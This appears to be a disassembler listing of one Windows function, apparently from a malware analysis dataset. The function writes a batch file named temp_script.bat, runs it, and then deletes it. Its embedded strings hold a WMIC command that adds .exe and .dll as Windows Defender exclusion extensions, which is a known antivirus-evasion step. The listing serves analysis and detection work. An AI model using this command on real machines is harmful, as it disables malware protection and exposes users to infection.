Function at 0x140002a60
Capabilities:
Delete file
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x140008080]
xor rax, rsp
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
lea rdx, str._echo_off_nsetlocal_n_nrem_Set_the_file_extension_to_exclude__e.g.__.exe__nset___FileTypeexe__n_nrem_Attempt_to_add_exclusion_by_file_type_to_Windows_Defender_nWMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionExtension___FileType___ForceTrue___nul_2_1_n_nrem_Check_the_errorlevel_to_determine_success_or_failure_nif___errorlevel___equ_0___n____set__AddExc_and_Windows_Defender_exclusion_by_file_type_.___FileType____n__else___n____set__AddExc__n__n_nendlocal_n
xor edi, edi
lea rcx, [rsp + 0x30]
mov r8d, 0x1eb
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], rdi
call fcn.140001040
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 2
lea rdx, str.temp_script.bat
lea rcx, [rsp + 0x50]
call fcn.140001600
cmp qword [rsp + 0x48], 0xf
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x50]
cmova rdx, qword [rsp + 0x30]
call fcn.140001140
lea rcx, [rsp + 0x58]
call fcn.140001e40
test rax, rax
jne 0x140002b35
mov rax, qword [rsp + 0x50]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.temp_script.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.temp_script.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rax, qword [rsp + 0x50]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], rbx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x58]
call fcn.140001970
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002bd6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bd1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002ddc
xorps xmm0, xmm0
mov qword [rsp + 0x40], rdi
mov r8d, 0x1eb
mov qword [rsp + 0x48], rdi
lea rdx, str._echo_off_nsetlocal_n_nrem_Set_the_file_extension_to_exclude__e.g.__.exe__nset___FileTypedll__n_nrem_Attempt_to_add_exclusion_by_file_type_to_Windows_Defender_nWMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionExtension___FileType___ForceTrue___nul_2_1_n_nrem_Check_the_errorlevel_to_determine_success_or_failure_nif___errorlevel___equ_0___n____set__AddExc_and_Windows_Defender_exclusion_by_file_type_.___FileType____n__else___n____set__AddExc__n__n_nendlocal_n
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140001040
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 2
lea rdx, str.temp_script.bat
lea rcx, [rsp + 0x50]
call fcn.140001600
cmp qword [rsp + 0x48], 0xf
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x50]
cmova rdx, qword [rsp + 0x30]
call fcn.140001140
lea rcx, [rsp + 0x58]
call fcn.140001e40
test rax, rax
jne 0x140002c84
mov rax, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
mov edx, 2
movsxd r8, dword [rax + 4]
add rcx, r8
xor r8d, r8d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.temp_script.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.temp_script.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], rbx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x58]
call fcn.140001970
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002d1e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002ddc
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140003130
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret